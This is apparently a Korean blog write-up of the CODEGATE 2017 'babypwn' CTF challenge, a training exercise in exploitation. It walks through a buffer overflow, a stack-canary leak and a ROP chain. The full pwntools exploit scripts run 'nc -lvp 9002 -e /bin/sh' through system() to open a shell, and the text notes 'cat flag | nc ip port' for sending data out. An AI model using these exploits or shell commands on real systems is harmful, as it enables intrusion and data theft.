ipwn
[CODEGATE 2017] babypwn 본문
이번에 푼 문제는 babypwn 문제이다.
작년 CODEGATE 2017에 출제됐던 문제이다.
여담이지만 이번 CODEGATE본선에 꼭 진출하고싶다.. 늦은 감이 없지않아 있긴 하지만..
아무튼 IDA로 바로 babypwn 바이너리를 분석해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | unsigned int __cdecl main(int a1, char **a2) { socklen_t addr_len; // [esp+20h] [ebp-30h] int optval; // [esp+24h] [ebp-2Ch] int v5; // [esp+28h] [ebp-28h] struct sockaddr addr; // [esp+2Ch] [ebp-24h] struct sockaddr v7; // [esp+3Ch] [ebp-14h] unsigned int v8; // [esp+4Ch] [ebp-4h] v8 = __readgsdword(20u); if ( a1 == 2 ) v5 = atoi(a2[1]); else v5 = 8181; dword_804B1BC = socket(2, 1, 0); if ( dword_804B1BC == -1 ) { perror("[!] socket Error!"); exit(1); } addr.sa_family = 2; *(_WORD *)addr.sa_data = htons(v5); *(_DWORD *)&addr.sa_data[2] = 0; bzero(&addr.sa_data[6], 8u); optval = 1; setsockopt(dword_804B1BC, 1, 2, &optval, 4u); if ( bind(dword_804B1BC, &addr, 0x10u) == -1 ) { perror("[!] bind Error!"); exit(1); } if ( listen(dword_804B1BC, 1024) == -1 ) { perror("[!] listen Error!"); exit(1); } while ( 1 ) { while ( 1 ) { addr_len = 16; fd = accept(dword_804B1BC, &v7, &addr_len); if ( fd != -1 ) break; perror("[!] accept Error!"); } if ( !fork() ) break; close(fd); while ( waitpid(-1, 0, 1) > 0 ) ; } sub_8048B87(); close(dword_804B1BC); close(fd); return __readgsdword(0x14u) ^ v8; } |
main함수 부분이다. 그냥 nc를 열어주는 부분인 듯 하다.
보아하니 argv[1]을 입력한다면 그 값을 atoi해서 그 값을 port로 nc를 열어주고, 아무 값도 없다면
default로 8181 port로 nc를 열어준다.
즉 바이너리를 실행시키고 다른 터미널을 열어 nc서버 접속을 해서 쉘을 가져와야 한다는 말이다.
소켓이 전부 정상이라면 실행되는 이후 함수인 sub_8048B87함수를 보도록 하겠다.
전부 검사를 마치고 Error가 없다면 sub_8048851, sub_8048A71, sub_8048881함수 세 가지를 실행시킨다.
sub_8048851함수와 sub_8048881함수는 아무 상관이 없다고 할 수 있다.
하지만 sub_8048A71함수는 main이라고 볼 수 있을만한 함수로써의 역할을한다.
한 번 sub_8048A71함수를 살펴보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | unsigned int sub_8048A71() { int v1; // [esp+1Ch] [ebp-3Ch] char v2; // [esp+24h] [ebp-34h] unsigned int v3; // [esp+4Ch] [ebp-Ch] v3 = __readgsdword(0x14u); memset(&v2, 0, 40u); while ( 1 ) { while ( 1 ) { while ( 1 ) { sub_80488B1("\n===============================\n"); sub_80488B1("1. Echo\n"); sub_80488B1("2. Reverse Echo\n"); sub_80488B1("3. Exit\n"); sub_80488B1("===============================\n"); v1 = sub_804895A(); if ( v1 != 1 ) break; sub_80488B1("Input Your Message : "); sub_8048907(&v2, 0x64u); sub_80488B1(&v2); } if ( v1 != 2 ) break; sub_80488B1("Input Your Message : "); sub_8048907(&v2, 0x64u); sub_80489C8(&v2); sub_80488B1(&v2); } if ( v1 == 3 ) break; sub_80488B1("\n[!] Wrong Input\n"); } return __readgsdword(0x14u) ^ v3; } |
보아하니 v2변수의 공간은 0x34만큼 할당이 되어있다.
하지만 Echo부분과 Reverse Echo 부분을 보면 입력을 0x64만큼 받는다.
즉 BufferOverflow가 발생한다.
소켓통신이니만큼 함수로 직접 들어가보면 recv로 입력을 받는다.
이제 취약점은 발견했다.
exploit을 하기 위해 파일을 리눅스에 올려서 확인해보자.
기본적으로 NX는 걸려있고, 이전 ropasaurusrex문제와는 달리 canary가 걸려있다.
즉 canary를 leak한 뒤 canary의 값을 맞춰주고, 그 뒤에 ROP를 실행해야 한다.
일단 그럼 memory를 다시 확인해보면 v3의 위치에 canary가 걸려있는 것을 알 수 있다.
일단 v2의 시작위치는 ebp-0x34, canary의 시작위치 ebp-0xC인 것을 확인할 수 있다.
즉 v2를 0x34 - 0xC의 값인 40byte만큼 덮어주고 echo한다면 canary의 값도 함께 leak될 것이다.
일단 canary를 한 번 leak 해보겠다.
1 2 3 4 5 6 7 8 9 | from pwn import * p = remote( 'localhost', 8181 ) p.recvuntil('menu > ') p.send('1\n') p.recv(1024) p.send('A'*40) print hexdump(p.recv(1024)) |
이렇게 script를 짜고 실행시키면 leak된 canary가 recv되게 되고, 그 값이 hexdump로 떠져서 읽어질 것이다.
한 번 실행해보도록 하겠다.
하지만 이상하다.
40byte뒤에 canary가 있기에 분명 canary가 leak돼야 할텐데 그냥 A값들만 읽어진다.
이 것으로 유추해보아 canary의 값은 맨 마지막 1byte가 0x00으로 이뤄져있다는 것을 알 수 있다.
한 번 값을 41byte넣고 canary를 leak해보겠다.
성공적으로 canary값이 leak되었다. canary의 값은 받아올 때
recv를 한 값의 [41:44]만큼 받아오고 \x00의 값을 추가해주면 될 것이다.
canary는 해결 되었다.
우리가 넘겨줄 값은 v2의 시작위치가 ebp-0x34이므로 0x34만큼 덮어주고 sfp도 덮어준 뒤 그 뒤에 ret을 조작하면 될 것이다.
이제 우리가 알아야 할 값들을 정리해보자 일단 가장 먼저 recv함수로 bss에 shell을 올릴 수 있을만한 값을 넣어야 하기에
recv_plt와 bss의 주소가 필요할 것이다.
또 system함수도 실행시켜야 하기에 system과 recv함수간의 offset도 필요할 것이다.
그리고 rop를 하기위해 recv와 send함수인자만큼의 pop 후 ret 즉 ppppr gadget이 필요할 것이다.
둘 다 인자가 4개 이므로 가젯은 pop pop pop pop ret gadget만 구하면 될 것이다.
또 덮어줄 system으로 recv_got.... 구할게 너무 많다 점점 귀찮아진다...
일단 다시 정리해보면
1. recv_plt
2. send_plt
3. recv_got
4. system offset
5. bss
6. ppppr gadget
정도가 되겠다.
이제 system함수와 recv함수간의 offset을 구해보자.
라고 생각했는데 다행히도 system이 있었다.
그렇다면 구해야 할 값이 확 줄어든다.
1. recv_plt
2. system_plt
3. ppppr gadget
4. bss
끝! 무려 2개나 줄었다!
recv_plt, system_plt는 각각 0x80486e0, 0x8048620이다.
여차하면 send로 다시 got를 leak하고 system함수 넣어주고 하느라 바빴을텐데 다행이다.
이제 bss의 값을 구해보자
bss의 위치는 0x804b1b4이다.
이제 ppppr gadget만 구하면 끝이다.
구해보도록 하겠다.
ppppr gadget의 주소를 찾았다. 0x8048eec이다.
이제 python으로 exploit script를 짜서 shell을 구해보겠다.
성공적으로 shell을 가져왔다.
이제 한 번 어떻게 script가 구성돼 있는지 확인해보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import * p = remote ( 'localhost', 8181 ) ppppr = 0x8048eec recv_plt = 0x80486e0 system_plt = 0x8048620 bss = 0x804b1b4 pay = '' cmd = 'nc -lvp 9002 -e /bin/sh' #canary leak! p.recvuntil('menu > ') p.sendline('1') p.recv(1024) p.send('A'*40 + '\n') recv_buf = p.recv(1024)[41:44] canary = u32('\x00' + recv_buf) print 'canary value : ' + str(hex(canary)) p.close() |
가장먼저 canary를 leak해주는 부분이다.
canary를 leak해서 값을 구해주고 remote를 닫는다.
22 23 24 25 26 27 28 | #payload! p = remote( 'localhost', 8181 ) #canary coverd! pay += 'A'*40 pay += p32(canary) pay += 'A'*12 |
다시 remote를 열어주고 payload에 leak해 놓은 canary를 덮어준다.
그리고 ret직전까지 덮어준다.
29 30 31 32 33 34 35 | #input shell pay += p32(recv_plt) pay += p32(ppppr) pay += p32(4) pay += p32(bss) pay += p32(len(cmd)+2) pay += p32(0) |
이제 recv로 bss에 cmd값을 덮어주기 위해 recv를 실행시킨다.
36 37 38 39 | #nice! pay += p32(system_plt) pay += "AAAA" pay += p32(bss) |
이제 system을 불러와서 bss에 담긴 cmd를 실행 할 것이다.
저 cmd는 nc로 port 9002번에 /bin/sh를 실행하겠다는 의미이다.
이렇게 해주는 이유는 그냥 /bin/sh를 실행시키면 파일을 실행한 그 터미널에서만 shell이 켜지기 때문이다.
하지만 저렇게 해주면 root 권한으로 nc에 열린 shell을 가져올 수 있을 것이다.
40 41 42 43 44 45 46 47 48 49 50 51 | p.recvuntil('menu > ') p.sendline('1') p.recv(1024) p.sendline(pay) p.recvuntil('menu > ') p.sendline('3') p.sendline(cmd) print '[*] nc localhost 9002 is shell!!' |
이제 echo로 넘어가 payload를 넘겨줄 것이다.
그 이후 프로그램을 종료하면 recv함수가 실행이 되고, cmd를 넘겨줄 수 있게 된다.
cmd를 넘겨준다면 성공적으로 system 함수가 nc서버로 9002 port에 /bin/sh를 실행시킬 것이다.
그렇게 해서 nc port로 접속해 shell을 가져오는 것이다.
실 CTF에서는 cat flag | nc ip port 형식으로 flag를 읽어오게 될 것이다.
아래 script는 rop기능을 이용해 script를 단축 한 것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | from pwn import * p = remote( 'localhost', 8181 ) e = ELF('./babypwn') rop = ROP(e) cmd = 'nc -lvp 9002 -e /bin/sh' rop.recv(4, e.bss(), len(cmd) + 2, 0) rop.system(e.bss()) p.recvuntil('menu > ') p.sendline('1') p.recv(1024) p.send('A'*41) recv_b = p.recv(1024)[41:44] canary = u32('\x00' + recv_b) print 'canary val : ' + str(hex(canary)) p.close() p = remote( 'localhost', 8181 ) pay = 'A'*40 pay += p32(canary) pay += 'A'*12 pay += rop.chain() p.recvuntil('menu > ') p.sendline('1') p.recv(1024) p.sendline(pay) p.recvuntil('menu > ') p.sendline('3') p.sendline(cmd) print '[*] nc localhost 9002 is shell!' |
정말 가젯도 안구해도 되고, 섹션, plt, got도 안구해도 되니... 생각하면 생각할수록 사기적이다.
'CTF's > CODEGATE' 카테고리의 다른 글
[CODEGATE 2016] bugbug (0) | 2018.03.26 |
---|---|
[CODEGATE 2018] BaskinRobins31 (5) | 2018.03.02 |
[CODEGATE 2014] nuclear (0) | 2018.02.02 |
[CODEGATE 2017] babyMISC (0) | 2018.01.31 |
[CODEGATE 2014] angry_doraemon (0) | 2018.01.30 |